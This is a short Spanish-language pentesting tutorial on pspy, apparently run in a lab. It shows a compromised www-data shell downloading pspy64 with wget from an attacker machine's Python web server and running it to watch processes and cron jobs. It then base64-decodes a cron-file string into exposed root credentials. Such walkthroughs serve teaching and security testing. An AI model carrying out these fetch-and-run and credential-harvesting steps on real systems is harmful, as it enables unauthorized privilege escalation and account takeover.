2 minuto(s) estimado(s) de lectura
PSPY
indagación de procesos de Linux sin privilegios
Es una herramienta de línea de comandos diseñada para husmear en los procesos sin necesidad de permisos de root. Le permite ver los comandos ejecutados por otros usuarios, trabajos cron, etc. mientras se ejecutan.
Transferencia
Primero desde nuestra máquina atacante nos creamos un servidor web para descargarlo desde la máquina víctima pspy
:
┌──(root㉿kali)-[/opt/pspy]
└─# python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
-127.0.0.1 - - [10/May/2022 03:21:48] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [10/May/2022 03:21:49] code 404, message File not found
127.0.0.1 - - [10/May/2022 03:21:49] "GET /favicon.ico HTTP/1.1" 404 -
10.1.1.22 - - [10/May/2022 03:23:34] "GET /pspy64 HTTP/1.1" 200 -
Ahora lo descargamos desde la máquina víctima:
www-data@demo:/tmp$ wget http://10.1.1.19:8000/pspy64
--2022-05-10 09:23:33-- http://10.1.1.19:8000/pspy64
Connecting to 10.1.1.19:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: 'pspy64'
pspy64 100%[==============================================>] 2.94M --.-KB/s in 0.03s
2022-05-10 09:23:33 (115 MB/s) - 'pspy64' saved [3078592/3078592]
www-data@demo:/tmp$ ls
pspy64
Ejecución
Ahora procedemos a asignar los permisos correspondientes y lo ejecutamos:
www-data@demo:/tmp$ chmod +x pspy64
www-data@demo:/tmp$ ./pspy64
Al ejecutarlo podemos ver los procesos en ejecución y si seguimos bajando detectaremos tareas CRON:
CRON es un administrador regular de procesos en segundo plano, que ejecuta procesos o guiones a intervalos regulares (por ejemplo, cada minuto, día, semana o mes). Esto significa que pueden ser utilizados de forma maliciosa para detectar archivos que puedan servir para escalar privilegios, o bien encontrar datos sensibles expuestos. Por ejemplo:
www-data@demo:/tmp$ cd ..
www-data@demo:/$ cat /usr/share/doc/examples/cron.sh
# cron.sh sample file
# 0 20 * * * /bin/goahead --parameter: LXUgcm9vdCAtcCByZnZiZ3QhIQ==
┌──(root㉿kali)-[/pspy]
└─# echo 'LXUgcm9vdCAtcCByZnZiZ3QhIQ==' | base64 -d; echo
-u root -p rfvbgt!!
En este caso se encontraron credenciales expuestas en la máquina!